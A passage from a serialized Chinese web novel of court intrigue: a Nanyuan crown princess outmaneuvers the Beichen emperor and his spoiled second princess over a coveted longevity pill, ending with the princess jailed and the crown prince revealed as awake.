裴望脸色微变,依旧一副公事公办的模样,“事关两国建交,荣郡王作为礼部侍郎,为两国建交略尽绵薄之力,也是人之常情。” “人之常情?” 傅元怀轻嗤一笑,随后目光凌厉地看向沈慕兮,“南渊太子妃,你对此事怎么看?” 他的话是对沈慕兮说的,眼角余光依旧落在裴望身上。 却见后者只是疏离有礼地退到一边,给沈慕兮让出位置,并没有其他过多的动作。 沈慕兮朝傅元怀恭敬行了一个南渊的晚辈礼。 “沈曦见过皇上,承蒙皇上隆恩,这些天一直都让太医为太子殿下诊治,如今我家殿下的身体已经有了起色,相信过不了多久,就能恢复康健。” 她的话,无疑就在提醒傅元怀,慕容景衍只是昏迷了,不是死了... 在一旁的裴望忍不住偷偷用带有震惊的眼角余光瞥向沈慕兮——她知不知道她在说什么? 皇上明显就是为了今日的事情给二公主找回场子。 她居然还这么气定神闲地跟皇上见晚辈礼,还暗示皇上慕容景衍只是在昏迷... 就这么笃定慕容景衍还能醒来给她撑腰? “可是,朕却听闻,今日荣郡王为了将你从公主府带出来,不惜连自己府上的亲兵都调用了。” 傅元怀的声音不带任何情绪。 让人不知他此时的真实想法。 沈慕兮脸色微变,一脸难以置信地看向傅元怀,“皇上,这是从哪听来的谣言?” 养心殿除了裴望以及常年守在傅元怀身边的内侍,没有其他人。 看到傅元怀一脸静待下文的模样。 沈慕兮似是内心做了极大的挣扎,抬起了受伤的右手。 伤口很深,即使已经包扎了,依旧还能在绷带外看到点点血红。 傅元怀眼神微变,“这又是怎么回事?” “此事,微臣进宫之前也有所耳闻。” 不等沈慕兮开口,裴望率先说话了。 “好像是二公主要让侍卫将太子妃抓起来,被荣郡王知道了,才有他领兵闯进公主府一事,若是皇上想要查证,除了当时在街上的百姓以外,国子监祭酒洪大人,京兆府尹梁大人以及徐太傅都可以作证...” 沈慕兮紧接着开口,“此事说来也不算复杂,不过只是与二公主品茶时候不小心被瓷片划伤了手,顾大人亦是担心影响我南渊与北宸的交好,所以才会如此紧张。 给二公主跟顾大人带来麻烦,还引来皇上误会,是沈曦的不对,还望皇上莫要见怪。” 既是好好的品茶,若是无意间划伤手,又怎么会伤得如此严重? 回来的消息并没有南渊太子妃也受伤这一条。 傅元怀深知自己女儿的性格。 大致也猜到了很有可能是自己女儿看上了南渊太子妃的什么东西。 二人谈不拢,自己女儿动手开抢... 思忖间,又听到沈慕兮继续说道,“二公主身体不适,脾气难免会比以往大一些。 礼让是我南渊历来的优秀传统,所以,知道二公主的身体状况需要大补,沈曦便把作为嫁妆的百年延寿丹赠送给了二公主。” “百年延寿丹?” 听到丹药的名字,傅元怀向来幽深的眼眸泛起了一点涟漪,又很快压了下去。 沈慕兮颔首,“顾名思义,此丹药可解百毒...” 话到一半,她似乎才反应过来自己说得太多,朝傅元怀福身微微一笑,“我们南渊想要与北宸交好的态度已经十分明确,只待殿下醒过来,两国即可详谈其他细节,至于今日之事,也只是一场误会,还望皇上莫要深究。” 沈慕兮越是这么说,傅元怀越是觉得其中有猫腻。 细节不细节,傅元怀不在意。 他更在意的是傅咏絮手上的百年延寿丹,是否真的如同传闻所说。 而傅咏絮现在服下了延寿丹没有。 “如此,想来也是一场误会,让太子妃受惊了。”他的语气稍稍缓和了些。 看到沈慕兮像一个没有脾气的泥人,他又吩咐内侍将沈慕兮送走。 全程,她十分配合。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!仿佛刚才差点被傅元怀发难的不是她。 沈慕兮离开后。 傅元怀的注意力才重新放在裴望身上。 “大胆裴望,你可知罪?” 天子威压陡然显现,凛然不可侵犯。 裴望双膝一曲,立刻跪在地上,以前额贴着地板。 “微臣不知所犯何事,还望皇上明言。” 他的一举一动,完全符合臣下对圣上的敬爱。 语气却不卑不亢。 傅元怀眼眸缓缓眯起,“这些天,你与荣郡王交情甚笃,莫要以为你利用了南渊太子妃,便能让朕忽略荣郡王领兵闯入公主府一事。” 裴望震惊抬眸,“皇上,微臣之心,日月明鉴,若是微臣真的与荣郡王沆瀣一气,今日又何必将苏府的卷宗全数送到您的案前?” 傅元怀看了一眼书案上垒成两座小山似的卷宗。 卷宗被细心地划分好了界限,颜色不一,代表的年头以及事件也不一样。 若是没有足够的耐性,这些卷宗根本整理不出来。 再看跪在御书案前的裴望。 到底也是自己亲手提携上来的人。 傅元怀达到了敲打目的,便也不再抓着不放。 话锋一转,直接将延寿丹一事揭过。 “苏府苏勇与回疆人勾结一事,可有眉目?” “回皇上,已经有眉目了,只是回疆人狡猾,好几次都让苏康跑了。 微臣以为,将苏府的人提前问斩,一来可以逼苏康露脸,二来,也可以给其他朝臣一个警醒,让他们知道,我北宸国威凛凛不可侵犯,若是再敢于外族勾结,苏府就是他们的下场。” 裴望一番话说得铿锵有力。 每一个字都正中傅元怀心中所想。 “起来吧。”此时傅元怀的脸色已经恢复如常,“此事,朕会另外找人安排,你那边,也紧着些。” “是。” “若无其他事情,你就回去吧。” 傅元怀朝裴望摆了摆手。 似是十分疲惫。 深邃的眼眸里,隐藏着不为人知的汹涌情绪。 当事情发生没有损害到自己目的或利益的时候,裴望十分尽职地在傅元怀面前当一个软弱的臣子,“微臣告退。” 养心殿一下子恢复了安静。 傅元怀此时内敛的神色才毫无忌惮地显现在脸上。 什么都是假的。 唯有长生才是最有用。 “来人。” 他朝外唤了一声。 刚才送沈慕兮离开的内侍连忙上前。 “奴才在。” “你去二公主府传朕口谕,让守在二公主府的太医回宫一趟。” “嗻。” “让顾时也进宫一趟。” “嗻。” .... 回去行宫别苑的路上。 夏蝉一脸心疼地看向沈慕兮。 “姑娘,这北宸皇室简直就是欺人太甚。” 不管是当今圣上,还是当今公主,都是想见他们姑娘就见他们姑娘,全然没有将她们姑娘作为使节的礼让。 若是让殿下知道... “他们的注意力在我身上,总比在他们身上要好。” 沈慕兮的眼神落在虚空,让人一时之间不知道她的实际想法。 回到行宫别苑,天色已经擦黑。 别苑附近,有几个挑着扁担跟箩筐的年轻男人路过。 沈慕兮多看了两眼。 “你今晚,让贺鸿多注意一下,主寝殿那边,只怕不会太平。” 夏蝉虽然不明白沈慕兮为什么突然提起,还是乖乖应下。 ... 当天夜里。 行宫别苑冒出了滚滚浓烟。 沈慕兮早已预料到当天不会太平,逃出来的时候,身上衣物饰品都是整整齐齐的。 “姑娘。” 夏蝉从主寝殿那边过来。 “多亏姑娘提醒,贺鸿抓住了几个小毛贼。” “我眼皮一直在跳,今晚肯定会有事情发生,你让贺鸿先将小毛贼藏好,当务之急,是寝殿那边不能漏了馅。” 这场大火,很有可能就是冲着慕容景衍来的。 若是这样,背后要试探的人,定然很快就要上门。 仿佛印证沈慕兮的想法。 夏蝉退下没多久。 门房禀报,有侍卫候在门外。 得了沈慕兮的允许。 数十名带刀侍卫鱼贯而入。 他们极有秩序,身上的佩刀在别苑的灯光下泛着粼粼金光。 皇宫禁卫。 沈慕兮目光微凝。 为首侍卫朝沈慕兮恭敬开口。 “太子妃,属下是皇宫禁卫统领武临,得皇上口谕,烦请您和南渊殿下跟微臣走一趟。” 皇上? 莫非是今日在宫中,皇上从中发现了些什么? 所以今天才有这场大火的试探? 心中骇然,沈慕兮面上依旧强装镇定,“殿下伤重尚未醒过来,只怕...” “太子妃不用担心,我们都是受过专门的特训,在搬动南渊殿下贵体时,不会让殿下受到伤害。” 武临的态度极好。 沈慕兮根本找不到胡搅蛮缠阻拦的理由。 “陛下可有说,让我们进宫是什么事?” 这章没有结束,请点击下一页继续阅读!武临十分有耐心地解答,“今日宫中发生事情甚多,一时半会,属下不好解释,太子妃与南渊殿下跟属下走一趟就知道了。” 话落,他朝距离他最近的侍卫使了个眼色。 侍卫出列,带着另外三名佩刀侍卫一同走到沈慕兮面前。 武临笑着朝沈慕兮拱手,“太子妃,请。” 他的笑意丝毫不到眼底。 跟在他身后的几名侍卫都扶着腰刀。 沈慕兮只好硬着头皮带着侍卫一同往前走。 在即将穿过回廊的时候,沈慕兮趁着身后的侍卫不注意,大步上前踩上石子想要造成自己扭伤的表象。 好拖延时间。 结果,力度过猛。 真的扭到脚了。 “嘶——” 脚踝位置传来钻心的疼痛,她的眉头都要皱成一团了。 武临站在沈慕兮身后,脸上依旧挂着得体的笑容,却一动不动。 “太子妃可以正常行走吗?” “只怕不太可以。”沈慕兮尴尬地朝他笑了笑,“劳烦武统领,可以让人给我去请个大夫吗?” “若是太子妃不良于行,可在这里暂时歇息,待临接到南渊殿下,与您一同进了宫,再向皇上取得恩准,为您请太医。” 真是油盐不进。 眼看武临扬手就要带着身后的几个侍卫往主寝殿的方向而去。 沈慕兮顾不得脚踝位置传来钻心的疼痛,一拐一瘸追了上去。“诶,等一下。” 武临被迫停下了脚步。 “太子妃,属下也是奉命行事,请您不要为难属下。” “我这也不是为难,而是,你看,我的脚...” 沈慕兮痛苦地弯腰想要撩起裙摆给武临看看自己的伤脚。 蓦然想起这样做,于礼不合,又迅速松了手,可怜巴巴地看向武临,“我的脚是真的疼得厉害,连行动都有碍,要不你先找个丫鬟过来搀扶搀扶我?” 早在搬进来行宫别苑那天,慕容景衍就把行宫别苑原有的宫娥内侍打发到了他们住不到的冷苑。 用的全是他们在南渊带过来的下人。 此时大部分人的注意力都在救火,走在路上,连个丫鬟都没看到。 被沈慕兮这么一说,武临才注意到,一路走过来,冷清得不正常。 再加上沈慕兮弯腰,一脸痛苦地挡在他们一行人身前。 武临无奈,只好吩咐身边的侍卫,“你去找找附近的丫鬟,带一个过来。” 刚才他已经从这个太子妃身边绕过去了一次,如果这次再绕过去,显得太过目中无人。 该做的样子。 还是得做一做。 沈慕兮的前额被冷汗浸湿。 心中不断祈祷,希望贺鸿的动作能快一点。 她拖不了多久了。 不到一刻钟,被武临吩咐找丫鬟的侍卫就回来了。 身后还跟着夏蝉。 看到沈慕兮,她朝沈慕兮互通了一下眼神之后才一脸焦急地开口,“太子妃,您的脚怎么样了?” 沈慕兮用力抓住了她的前臂,“我的脚好像扭到了。” “奴婢这就去给您请大夫。” “不用这么麻烦,”沈慕兮拉住了作势要离开的夏蝉,“面前这几位,是宫里来的侍卫,他们想要请殿下进宫,你去安排一下。” 夏蝉一脸为难,“可是殿下现在还在昏迷...” 武临立刻上前,“我们的人,是受过专门的训练,绝对不会伤到殿下半分。” 他信誓旦旦,就差三指向天地保证。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第186章 傅元怀想要延寿丹 沈慕兮与夏蝉不着痕迹地对视了一眼。 二人还想说些什么。 跟在武临身后的几名侍卫已经将手放在了刀柄上。 武临这是打定了主意,一定要带慕容景衍离开。 可... 伪装就是伪装。 若是武临当真要硬来。 主寝殿的人难免会与宫里侍卫来一场恶战。 过早暴露,不利于慕容景衍的计划实施。 想到这里,沈慕兮的心里有了决断。 “也不是不信武统领...” 她拉着夏蝉退到一边,在武临几人大步往前走的时候,亦步亦趋地跟上。 “就是觉得,这次宫里消息来得突然...” 不管沈慕兮说什么,武临都置若罔闻。 直到几人到达主寝殿。 贺鸿一脸凝重地在外头走来走。 看到武临以后,他脸上的凝重立刻恢复往常的亲和。 “太子妃,您来啦,这是...” 沈慕兮连忙解释,“这是宫里的武统领,奉命请殿下进宫。” 贺鸿一脸为难,“可是殿下现在身上还有伤...” 武临不厌其烦地再向贺鸿做出了保证。 贺鸿叹气,“这不是你们会不是伤殿下的事情,而是本来伤重之人,被你们挪动来挪动去,万一伤上加伤...” 武临的脸色骤然变冷。 目光从沈慕兮跟贺鸿脸上来回梭巡,最后重新定格在贺鸿脸上。 “你们是什么意思? 莫要忘了,南渊只是我北宸的战败国,这些年,也是因着进贡才有了两个交好的机会。 虽说过门是客,但也没有反客为主的道理。 让南渊殿下与太子妃一同进宫是皇上口谕,你们这一而再再而三的阻拦本官办事,难道是想要抗旨不成?” 他的声音很冷。 表情更冷。 一看就是那种没法拖延,更没法谈拢。 沈慕兮上前一步,正准备朝武临几人撒去药粉。 几乎就在同时,主寝殿的门从里面打开了。 贺玄从主寝殿缓缓走出,眉间是掩盖不去的疲惫。 “我们殿下在北宸身受重伤,北宸圣上仁德,特许殿下静养,怎么可能说变就变,这其中肯定有些什么误会...” 他的声音不大,还带着沙哑。 但是态度却十分好。 成功安抚了已经燃起了怒火的武临。 他语气稍稍缓和了些,“是不是误会,走一趟便知。” 态度依旧强硬。 沈慕兮看了一眼贺玄,后者朝她轻轻摇头。 沈慕兮立刻明白了他的意思——慕容景衍回来。 像是印证她的想法。 慕容景衍虚弱的声音从寝殿内响起。 “是我让皇上挂心了,走这一趟也是应该。” 他在另外一个做了小厮打扮的侍卫搀扶下颤颤巍巍地走出来。 不仅沈慕兮变了表情,连武临的表情也变得极为微妙。 “殿下是什么事情清醒过来的?” 慕容景衍浅浅勾起了嘴角,“失火的时候,被吵醒了,后来又听到外头一直有动静...” 简单两句话说完,他的前额已经沁满了冷汗。 武临微微颔首,朝慕容景衍行了一礼,“还望殿下可以配合,莫让下官难做。” 慕容景衍朝他缓缓点头,随后目光落在沈慕兮身上,“曦儿,你过来搀扶一下本宫。” “曦儿”的称呼出来,沈慕兮打了个寒颤,后背瞬间爬满了鸡皮疙瘩。 不适应归不适应,她的脸上挂着温婉笑意。 才刚抬步。 脚踝上传来的钻心疼痛,瞬间将她拉回现实。 慕容景衍脸色一变,“怎么了?脚受伤了?” 他想飞扑到沈慕兮身前查看。 奈何身体虚弱,连自己都要被人搀扶,只好在原地干着急。 “请大夫了没?” 武临看不下去了。 只朝两人道了一声“得罪”,之后就要带人进宫。 慕容景衍冷了脸色,“武统领就是这样对待来客?本宫太子妃的脚扭伤了,难道不是应该先寻大夫来包扎察看一下?” 他看上去十分气急败坏。 武临不急不忙地开口,“进了宫,自然有太医,至于你们二人如何进宫,下官已经有了安排,殿下莫急。” “不是你的妻子,你肯定不急。” 因为生气且“刚苏醒”身体虚弱,慕容景衍说完这段话,还喘了好久。 武临却带着几个属下,像木头一样站在原地。 任由慕容景衍“原地发疯”。 最后,还是沈慕兮上前温声安抚了好一会,他才平息了怒气。 “这次本宫就看在本宫的太子妃份上,不与你们计较,但是,本宫与太子妃如今行动不便,你们总不能让本宫跟本宫的太子妃步行至养心殿。” 从宫门到养心殿,步行起码要走大半个时辰。 走完以后,沈慕兮的腿都要废了。 “这是自然。” 武临微笑着应下慕容景衍的要求。 心里暗骂了一句:蠢货。 贺鸿跟夏蝉搀扶慕容景衍跟沈慕兮上了马车以后,正想跟上,被武临拦下了。 本小章还未完,请点击下一页继续阅读后面精彩内容!“你们二位稍后可出发在宫门处等待。” 贺鸿还想说些什么,却见慕容景衍撩开了马车车窗的帘子,“你们稍后去宫门接我们回来。” 主子开口发话,贺鸿不应下也不行了。 沈慕兮看到马车里只有她跟慕容景衍二人。 立刻凑到了慕容景衍身边,正要开口。 武临也进来了。 沈慕兮:“......” 还真是一点时间空间都不给她跟慕容景衍留。 到嘴边的话重新咽了回去,她伸手挽住了慕容景衍的胳膊,软声开口,“殿下若是累了,可以靠在我身上。” 在外人面前,沈慕兮极力做好自己做为妻子的本分。 每当马车颠簸一下,她就会紧紧拥着慕容景衍。 放下慕容景衍的时候,她总是一脸心疼地看着他。 “殿下,你怎么样?有没有摔疼?” 慕容景衍总是紧紧握住沈慕兮的手,轻轻摇头,“不妨事,让娘子担心,是为夫不好。” 眼底的情绪浓烈。 要不是因为知道慕容景衍曾经是唱戏好手,她差点就以为慕容景衍是真的爱上她了。 脑子里总有些不合时宜的想法出来。 沈慕兮胡乱打断了思绪,看向坐在马车另一边瞪眼直直看着他们互动的武临。 此时,她对武临的不喜,完全表露在脸上。 “没想到,武统领居然还有这种小癖好。” 谁家好人会在人家夫妻情到浓时依旧一瞬不瞬地盯着人家互动? 武临脸不红心不跳,对沈慕兮的不喜与阴阳怪气视若无睹,“属下职责所在,还望太子妃见谅。” 武临油盐不进,非要盯着。 沈慕兮想要询问慕容景衍些什么都问不了。 看来,进宫之后,只能靠默契了。 想到这里,沈慕兮心里不免有点挫败。 默契这玩意,她跟顾时相处了几年都生不出来。 更别说跟慕容景衍有了。 慕容景衍似乎觉察到她的情绪低落,无声的伸手覆上了她的发顶。 马车车厢内,萦绕着混杂着血腥味的药香。 夜已深。 大街上安静得只有马车行进时候的声音。 武临面上云淡风轻,全程握在刀柄上的手背却青筋暴起。 一直到宫门口,他握在刀柄上的手才放松了下来。 考虑到慕容景衍“刚刚苏醒”以及沈慕兮是个还没来得及看大夫的伤患。 他十分体贴地给夫妻二人安排了宫中的软撵。 “这是皇上的恩典。” 夫妻二人又在武临面前表现了一轮对傅元怀的感恩戴德。 还是在养心殿。 只不过,跟白天时候不同。 此时在养心殿里的人变成了二公主傅咏絮,以及荣郡王顾时。 此时两人双双跪在地上,竟让沈慕兮有了一种两人偷情被抓奸的荒谬感。 她才在宫女的搀扶下踏入养心殿,傅元怀的声音就从高座之上传来。 “顾时滥用手上职权惊扰公主,这个月,你就在府上闭门思过,另外罚俸一年。” “微臣,谢主隆恩。” 顾时叩谢过后,起身后退。 在经过沈慕兮身边的时候,身体微不可查地僵硬了一下,很快恢复如常。 在沈慕兮对顾时熟视无睹的时候,慕容景衍已经撑着虚弱的身体,给傅元怀见礼。 “见过陛下。” 傅元怀显然没想到真的让人请来了“清醒”过来的慕容景衍。 立刻从龙椅上站了起来。 “小景醒了?” 他露出了惊喜的神色,却没有让慕容景衍起来。 慕容景衍此时脸上惨白,混身上下透着浓郁的死感。 可见前些日子被重伤并非谣传。 “承蒙陛下关心,景,没事。” 他嘴上说着没事,身体早已摇摇欲坠。 偏偏傅元怀却像是看不到一样,“本来此事不应该涉及你跟你的太子妃,奈何朕这个女儿啊,一直都说,事关你跟你的太子妃,所以朕还是连夜让你们进宫一趟了。” 傅元怀一边说,一边恨铁不成钢地看傅咏絮,“现在南渊太子妃来了,你有什么话,不妨直接在太子妃面前说出来。” “父皇,儿臣要嫁给慕容景衍,不然百年...” “好了,可以闭嘴了。” 在面对傅咏絮的时候,傅元怀就像是一个普通的父亲。 喜怒形于色。 刚才,他显然就已经被傅咏絮的话气到了。 脸色异常难看,连叫她闭嘴的语气也极为冷冽。 随后他又将凌厉的视线重新转移到沈慕兮身上,嘴上挂着笑容,“朕这孩子,被朕宠坏了,可是,朕细想了一下,既然这次你们南渊前来是为了两国交好,那么,公主与太子结为秦晋之好,也不失为一个好办法。” “皇上。” 慕容景衍想要开口打断傅元怀继续说下去的话。 傅元怀的眼神却落在沈慕兮身上。 “太子妃,你怎么看?” 沈慕兮双拳缓缓攥紧,语气却十分平静,“自古以来,夫为妻纲,沈曦一切都尊重太子殿下的意思。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!慕容景衍握住了沈慕兮的手,“本宫与太子妃感情甚笃,没想过要纳妾。” 傅咏絮难以置信地开口,“慕容景衍,本公主看上你是你的福气,你居然想让本公主做妾?” “公主自重,本宫的心里,只有本宫的太子妃。”慕容景衍说话的时候,连一个眼神都没有给到傅咏絮。 反而是沈慕兮,在傅咏絮看过来的时候,第一时间看向她的眼睛。 嗯。 眼白带着一层浅浅的青灰,看来是已经服用了半颗百年延寿丹。 她不着痕迹地往慕容景衍身边挪了挪,跟傅咏絮拉远了一点距离。 此时傅咏絮的思绪还在慕容景衍刚才说的话上。 脸上的神色在不断变化。 倏地,她像是忽然想到了什么可笑的事情。 朝慕容景衍展颜一笑,“我差点就信了你的鬼话。” 她自信地开口道,“莫要以为本公主不知道,娶太子妃之前,你连外室女都有了,你喜欢的根本就不是你的太子妃,拒绝我,不过只是为了不让你那个外室女受委屈罢了,本宫答应你,哪怕以后我做了你的妻子,我依然会对你的女儿视如己出。” 慕容景衍淡淡瞥了她一眼,“不需要。” 傅咏絮什么时候受到过这种轻视? 尤其是,她自以为自己已经做出了极大的牺牲让步。 没想到对方连看她的目光都是睨向她的。 一时怒极,她脑子一片空白,当场红了眼眶。 “你...你们欺人太甚。” “殿下为何不娶公主,难道公主心里没数吗?” 沈慕兮冷声开口。 “这些年,你一直在你北宸的京都横行霸道,看上的就抢,不顺眼的就打杀,人命在你眼里,轻贱如草芥,殿下作为我南渊储君,是未来的国君,若是让人知道他来北宸娶了一个以打杀无辜平民下人为乐的女子为太子妃,你让殿下以后如何顺利继承我南渊大统?” 沈慕兮的一番话,说得道貌岸然且字字句句贴合傅元怀对外宣称的“以仁爱治国,以德服天下”国策。 于公于私,都直接掐断了她嫁给慕容景衍的可能。 “你...你个贱人,一切都是你的问题。” 傅咏絮本能地想要扬起手中皮鞭。 挥出空气之后才后知后觉反应过来,这是在皇宫,她现在是在父皇面前。 她不由得变了脸色。 可惜晚了。 在慕容景衍面前丢了这个脸面,傅元怀坐不住了。 “逆女,你要做什么?” “父皇,我...” 傅咏絮的脑子一片空白,只记得自己父皇让她进宫,是因为想要她手上的延寿丹。 “延寿丹...” 她简短的开头再次被傅元怀打断了,“朕一直以为你只是一个被宠坏了的孩子,没想到你竟是这般毒辣。” 他看向傅咏絮的眼神极为失望。 随后扬声朝外喊道,“来人。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第187章 荣郡王府的马车挡了道 一直守在外头等候差遣的武临立刻进了殿,“在。” “二公主性情跋扈,德行有亏,现暂时查封公主府,交由皇后膝下学规矩,什么时候学会尊重人了,什么时候再回去。” 傅咏絮猛然抬头,“父皇,女儿已经嫁人了,你居然为了这个女人要收回儿臣的公主府?” 傅元怀深深地看了她一眼,“朕这些年就是太宠你了,将你宠得无法无天,这些天,你就好好在你母后那里静思己过。” 傅咏絮并非皇后所出。 而且生母柔妃与皇后关系一直不好。 当初柔贵妃死得不光彩,傅咏絮就怀疑过皇后。 可惜,她后来将怀疑告诉了傅元怀,傅元怀也是一笑置之。 甚至还转移了话题,随意找了个恩典,让她离宫另辟府邸。 这才有了公主府。 后来傅咏絮自己也琢磨了一下,认为自己的父皇当时肯这么“大方”,极大的可能是因为对皇后母族有所忌惮,甚至还很有可能要仰仗皇后母族。 所以,中途不能出任何差池... 整个京都都以为傅元怀宠女无下限,实际只有她自己知道。 所有的恩典,都是父皇欠她的,目的就是让她停止追查母妃的死因。 而她,可耻地用自己母妃的性命,换来了几年无法无天的荣华富贵。 时过境迁。 母妃的死因已经被大部分人遗忘。 所以他可以肆无忌惮地在她犯错的时候公然把她交回给皇后,任由皇后磋磨... 傅咏絮心底顿时涌上一团怒火。 “父皇,儿臣不留在宫里。” 若是真的到了皇后手上,旧账加新仇。 即使不用父皇亲自动手,她也没有活路。 还不如现在想办法留住小命。 她想的美好。 却忽略了傅元怀现在的实际想法。 “君无戏言,朕已经说出口的话,不可能再收回去。” “可是,父皇...” 傅元怀打断了她的话,“好了,朕知道你想说什么,有什么事情,你跟你母后细说。” 话落,武临已经带着几个侍卫上前恭敬地想要请傅咏絮离开,被傅咏絮躲开了。 “父皇,儿臣不愿意留在皇宫。” 怒火在她的心底不断炙烤,傅咏絮心中一片煎熬。 她红了眼睛,委屈地质问,“凭什么父皇你看上的女子都可以收入后宫,而儿臣是您的孩儿却不可以?这不公平。” 这些话,大家都心知肚明。 可要是傅咏絮当着所有人的面说出来了,基本上跟在大庭广众之下直接扇傅元怀耳光没有区别。 傅元怀当即恼羞成怒,“大胆,谁允许你说这些混账话的?” “即使你现在用维护北宸的名义,将女儿押下,女儿也要实话实说,父皇你就是一个彻头彻尾的伪君子,就是想要把女儿唯一的生机都夺走了。” 傅咏絮的声音又尖又细,霸道地冲进了所有人的耳膜。 眼角余光看到沈慕兮与慕容景衍事不关己站在一旁,她反手一指,“你若只是想让女儿好好改正,只要让儿臣进宫,说儿臣几句,儿臣什么话听不进去?” “可是你没有,不仅没有,还特地因为这个事情找来‘外人’围观,目的不过就是想要我手上的百年延寿丹罢了。 一个贪生怕死的昏君,还在惺惺作态,装大义灭亲,真是让人恶心至极。” 她的话一出口,不仅傅咏絮本人惊呆了。 连在场的所有人都难以置信地看向她。 傅元怀本来只是有点难看的脸色,瞬间变得铁青。 霎时间,养心殿充斥着压抑的气氛。 “父皇,儿臣...儿臣说的句句肺腑...不,不对,父皇...” 傅咏絮满眼惊恐。 “这些不是儿臣的真心话...” 傅元怀的耐性彻底告罄,“不是真心话都敢这么大逆不道,若是真心话,还不知道你会把朕想成什么样,就你这种无法无天的熊心豹子胆,给你一个机会,你还不知道会闹出什么幺蛾子。” “来人,将这个逆女,给朕拖下去。” 傅咏絮本来还十分慌乱,转头却看到了沈慕兮眼底的冷意。 她这才后知后觉反应过来,“父皇,这是圈套,儿臣知道了,是沈慕兮,沈慕兮设计,让儿臣与您反目成仇。” “父皇,您要明鉴,非我族类,其心必异,您千万不要被那些有心人利用了。” 她努力改口自己已经到了嘴边那些大逆不道的话。 前额已经被沁出的冷汗紧紧占满。 还哪有半点策马扬鞭的嚣张跋扈。 “公主慎言,”沈慕兮忍不住开口了,“当初我可是把百年延寿丹也给了您,难道在公主眼里,这还不足以说明我南渊的诚意?” “百年延寿丹?” 慕容景衍显然不知道沈慕兮做了什么,震惊地看向她,“那是神医给你的保命药,你怎可说送出去就送出去?” 沈慕兮摇头,“没有任何东西,比您的身体康健以及南渊北宸两国交好重要。” 本小章还未完,请点击下一页继续阅读后面精彩内容!慕容景衍一脸肉疼地看向傅元怀,“陛下,那百年延寿丹,用来作为我南渊镇国之宝也不为过,如今我们已经将延寿丹送出,不知...” 后面的话,他没有说出口,可是很显然,他是想要从其他地方,找回来延寿丹的价值。 “父皇。” 傅咏絮反应最大,生怕傅元怀一时上头会答应些什么条件。 延寿丹今日已被她服下了半颗。 若是现在才提出什么要求,那跟把脖子送到别人手上让别人卡着有什么区别? 傅元怀也没想到慕容景衍会在这种时候提出这种不合时宜的事情。 “小景才刚醒过来,定然需要先好好休息养好身体,至于其他事情,我们择日再谈。” 慕容景衍本就没有指望今日能在傅元怀这里得到些什么。 事实上,只要他今日能醒着进去皇宫,这一场试探,就注定了是他赢了。 至于其他的... 在傅元怀跟慕容景衍简短的交涉期间,武临也没有闲着。 几人上前合力“请”傅咏絮离开。 “不,我不去皇后那里。” 挣扎间,一柄匕首从她的袖子话落。 金属刀尖落地碰撞在大理石地板上的声音,在安静的养心殿内格外刺耳。 所有人的呼吸都微微一窒。 包括傅咏絮在内。 她满眼震惊,连连摇头。 “父皇,这不是儿臣的匕首,儿臣是被冤枉的。” 今晚先是一些叛逆言论,这会又随身携带利器。 傅元怀对傅咏絮已经十分失望。 “事到如今,你还有什么可以狡辩的?” “朕是真的没想到,在这种节骨眼上,你居然会做出这种事情。” “来人,将她打入天牢。” 打入天牢。 那基本上就是已经认定了她的刺杀嫌疑。 傅咏絮的身体本来只是服下了半颗延寿丹硬撑。 如今一怒气攻心,熟悉的心脏疼痛再次出现,她竟生生地吐出了一口鲜血。 傅元怀眼底闪过一丝在意,正想上前。 才迈出了一步,看到慕容景衍跟沈慕兮还在。 连忙收回了脚步,朝武临甩袖一挥。 “带下去。” 他没有说带去哪里。 也没有说继续查封公主府。 武临自然而然地决定将人带回去公主府。 沿途,傅咏絮不停叫骂。 武临漠然开口,“微臣要是殿下,定然不会在这种时候胡乱攀咬,浪费自己的时间。” “本宫允许你说话了吗?”傅咏絮的扬声怒骂,“你们这群饭桶,别国的使节都已经快要坐在你们头上了,你们还在这里敌我不分。” 武临抿唇不再说话。 脚下的速度却加快了许多。 他对这位残暴跋扈的公主没有半点好感。 出言转移她的注意力,纯属是为了让自己的下属没有那么难做。 要是对方不听,那他也就不管闲事了。 毕竟,谁都不知道,陛下什么时候会消气。 二公主这种人,没事还是少惹为妙。 “本宫跟你说话呢,哑巴了?” 身后还不断传来傅咏絮的叫骂。 武临通通置若罔闻。 在即将穿到第二道宫门的时候。 一名内侍匆忙回来。 在武临耳边低语了几句。 武临难以置信地看向传话内侍。 “当真是陛下的意思?” 内侍为难,“咱家也只是给您一个提醒,只能说,君心难测。” 武临点头,“我明白了,多谢公公带话。” 与内侍分别后,武临让手下的侍卫换了方向。 本来已经骂人骂累了的傅咏絮看到来人,立刻反抗,“这不是回去公主府的路,你们这些刁奴,要带本宫去哪里?” 武临不卑不亢,“公主,微臣也只是奉命行事,还望公主莫要让微臣难做。” 说完,他不再客气,直接示意侍卫给傅咏絮堵了嘴绑了手。 一路押解去了大理寺。 看到大理寺门匾的那一刻,傅咏絮眼睛都要瞪圆了。 奈何她根本挣扎不开。 直到去了大理寺后的一处暗牢。 她向来明艳嚣张的目光一下子被恐惧冲散。 “唔...” “唔唔...” 她奋力想要挣脱绑在她手上的绳子。 奈何绳子像是有生命似的,她越是挣扎,绳子勒得越紧。 最后只能眼睁睁地看着武临跟狱卒交流,最后将她安排在一个又脏又臭的牢房里。 牢房内密不透光。 不远处,还时不时传来利刃砍断骨头的声音以及烙铁烫在皮肉上的声音。 惨叫声络绎不绝。 傅咏絮甚至还能闻到飘荡在空气中的皮肉焦味以及变成腐臭的腐尸味道。 她一个激灵,终究是受不了身体跟心理的双重刺激,飞扑到牢房前用力击打牢门,“我不要留在这里,你们放我出去,放我出去。” 没人理会她。 ... 皇宫。 从傅咏絮被押走了以后,傅元怀整个人看上去就一直兴趣缺缺。 本小章还未完,请点击下一页继续阅读后面精彩内容!随意问了慕容景衍几个问题,在慕容景衍回答了以后,就将人打发离去了。 两人一路抿唇不语。 直到在宫门处看到贺鸿跟夏蝉,两人才对视一眼,不约而同地上了马车。 等到一切安置妥当。 “你...” “你...” 两人同时开口。 “你先说。” “你先说。” 沈慕兮笑了,“你什么时候回来的?” 慕容景衍轻咳两声,“今晚。” “回来的时候,刚好遇上行宫别苑走水,我就猜到,已经有人起疑了...” “幸好你及时回来,”沈慕兮松了一口气,“今晚行宫别苑走水,我就猜到可能是皇上,只是没想到,他会将顾时跟傅咏絮都叫进宫。” 